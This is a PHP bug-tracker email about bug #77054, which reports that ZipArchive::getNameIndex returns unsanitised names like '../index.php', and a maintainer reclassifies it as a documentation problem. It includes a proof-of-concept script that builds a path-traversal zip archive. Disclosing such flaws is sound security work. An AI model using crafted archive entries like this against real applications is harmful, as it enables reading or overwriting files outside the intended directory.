Sec Bug->Doc #77054 [Opn->Ver]: Directory traversal via ZipArchive::getNameIndex
| From: | cmb@php.net | Date: | Fri, 26 Oct 2018 12:27:47 +0000 |
| Subject: | Sec Bug->Doc #77054 [Opn->Ver]: Directory traversal via ZipArchive::getNameIndex | ||
| References: | 1 | Groups: | php.doc.bugs |
| Request: | Send a blank email to doc-bugs+get-16102@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=77054&edit=1
ID: 77054
Updated by: cmb@php.net
Reported by: emil dot virkki at gmail dot com
Summary: Directory traversal via ZipArchive::getNameIndex
-Status: Open
+Status: Verified
-Type: Security
+Type: Documentation Problem
Package: Zip Related
Operating System: macOS 10.13.6
PHP Version: 7.2.11
Block user comment: N
Private report: Y
New Comment:
Ah, now I understand! And yes, this should be documented.
Previous Comments:
------------------------------------------------------------------------
[2018-10-26 10:59:14] emil dot virkki at gmail dot com
Yes, that works correctly. The problem is with the getNameIndex() method, which returns the name as
"../index.php". When the PoC opens the file at $dst . '/' . $name, it opens the
wrong file.
------------------------------------------------------------------------
[2018-10-26 10:16:35] cmb@php.net
I cannot reproduce this; neither with PHP 7.2.11 NTS nor 7.2.11
ZTS. index.php is extracted into subdir/.
------------------------------------------------------------------------
[2018-10-24 18:15:41] emil dot virkki at gmail dot com
Description:
------------
ZipArchive::extractTo prevents extracting files outside the destination directory. However,
ZipArchive::getNameIndex will return the name without any such protections. This allows an attacker
to craft a Zip archive that can allow reading, writing or deleting arbitrary files depending on how
the return value of ZipArchive::getNameIndex is used.
If this is intentional behavior, the security aspects are not indicated in the documentation.
Test script:
---------------
<?php
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->addFromString("subdir2/legit.txt", "Legit file\n");
$zip->addFromString("../index.php", "Attacker file\n");
$zip->close();
mkdir('subdir');
$zip = new ZipArchive();
$zip->open("test.zip");
for($i = 0; $i < $zip->numFiles; $i++) {
$name = $zip->getNameIndex($i);
echo "Extract $name\n";
$dst = __DIR__ . '/subdir';
if($zip->extractTo($dst, $name)) {
echo "The file contains:\n";
echo file_get_contents($dst . '/' . $name);
}
}
$zip->close();
Expected result:
----------------
Extract subdir2/legit.txt
The file contains:
Legit file
Extract index.php
The file contains:
Attacker file
Actual result:
--------------
Extract subdir2/legit.txt
The file contains:
Legit file
Extract ../index.php
The file contains:
<?php
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->addFromString("subdir2/legit.txt", "Legit file\n");
$zip->addFromString("../index.php", "Attacker file\n");
$zip->close();
mkdir('subdir');
$zip = new ZipArchive();
$zip->open("test.zip");
for($i = 0; $i < $zip->numFiles; $i++) {
$name = $zip->getNameIndex($i);
echo "Extract $name\n";
$dst = __DIR__ . '/subdir';
if($zip->extractTo($dst, $name)) {
echo "The file contains:\n";
echo file_get_contents($dst . '/' . $name);
}
}
$zip->close();
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=77054&edit=1